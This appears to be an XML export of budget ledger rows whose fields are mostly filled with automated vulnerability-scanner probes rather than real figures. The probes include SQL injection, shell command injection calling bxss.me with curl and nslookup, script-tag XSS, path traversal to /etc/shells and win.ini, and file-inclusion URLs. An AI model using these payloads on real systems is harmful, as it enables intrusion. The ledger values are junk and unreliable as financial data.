<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>19150516</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>expr 9000202729 - 979408</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>gethostbyname(lc('hitzs'.'sunhkhzeab0f4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(77).chr(116).chr(68)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;echo udzatj$()\ buivdd\nz^xyu||a #' &amp;echo udzatj$()\ buivdd\nz^xyu||a #|" &amp;echo udzatj$()\ buivdd\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'.gethostbyname(lc('hitck'.'xppjwwfd010d8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(70).chr(101).chr(66).'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1S0zeEgjx')) OR 202=(SELECT 202 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU9391089</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>echo pnouxp$()\ nonqso\nz^xyu||a #' &amp;echo pnouxp$()\ nonqso\nz^xyu||a #|" &amp;echo pnouxp$()\ nonqso\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9226)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitpktwgcqdvv62bd2.bxss.me||curl${IFS}hitpktwgcqdvv62bd2.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitpktwgcqdvv62bd2.bxss.me||curl${IFS}hitpktwgcqdvv62bd2.bxss.me)&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9300)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|(nslookup${IFS}-q${IFS}cname${IFS}hitwjzdrvgeuj866a7.bxss.me||curl${IFS}hitwjzdrvgeuj866a7.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>;(nslookup -q=cname hitmyxtclmdzedef13.bxss.me||curl hitmyxtclmdzedef13.bxss.me)|(nslookup -q=cname hitmyxtclmdzedef13.bxss.me||curl hitmyxtclmdzedef13.bxss.me)&amp;(nslookup -q=cname hitmyxtclmdzedef13.bxss.me||curl hitmyxtclmdzedef13.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 OR 488=(SELECT 488 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;echo ajoscp$()\ sdxahk\nz^xyu||a #' &amp;echo ajoscp$()\ sdxahk\nz^xyu||a #|" &amp;echo ajoscp$()\ sdxahk\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=25</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=26</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>bxss.me</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>|echo jqbwzl$()\ jdykcr\nz^xyu||a #' |echo jqbwzl$()\ jdykcr\nz^xyu||a #|" |echo jqbwzl$()\ jdykcr\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(nslookup -q=cname hitcpjodqnydl5b620.bxss.me||curl hitcpjodqnydl5b620.bxss.me))</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>$(nslookup -q=cname hitohuodzgbiq618d6.bxss.me||curl hitohuodzgbiq618d6.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../../../../../../../../../../../../../../etc/shells</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>c:/windows/win.ini</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>/etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'+'A'.concat(70-3).concat(22*4).concat(113).concat(80).concat(101).concat(85)+(require'socket'
Socket.gethostbyname('hitwq'+'vjgsebyi3f238.bxss.me.')[3].to_s)+'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>http://bxss.me/t/fit.txt%3F.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hituaiqewzfdm89e9e.bxss.me||curl${IFS}hituaiqewzfdm89e9e.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hituaiqewzfdm89e9e.bxss.me||curl${IFS}hituaiqewzfdm89e9e.bxss.me)&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>c:/windows/win.ini</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>;(nslookup -q=cname hitgcubvexpqj986d1.bxss.me||curl hitgcubvexpqj986d1.bxss.me)|(nslookup -q=cname hitgcubvexpqj986d1.bxss.me||curl hitgcubvexpqj986d1.bxss.me)&amp;(nslookup -q=cname hitgcubvexpqj986d1.bxss.me||curl hitgcubvexpqj986d1.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1&amp;n995257=v907432</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>../../../../../../../../../../../../../../etc/shells</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>`(nslookup -q=cname hitjeuqiuyusj0f170.bxss.me||curl hitjeuqiuyusj0f170.bxss.me)`</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>/etc/shells</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'+'A'.concat(70-3).concat(22*4).concat(119).concat(87).concat(104).concat(82)+(require'socket'
Socket.gethostbyname('hitmn'+'phlojeum03b08.bxss.me.')[3].to_s)+'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;nslookup -q=cname hitchyydcpztt6f742.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitchyydcpztt6f742.bxss.me&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU&amp;n921769=v934971</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
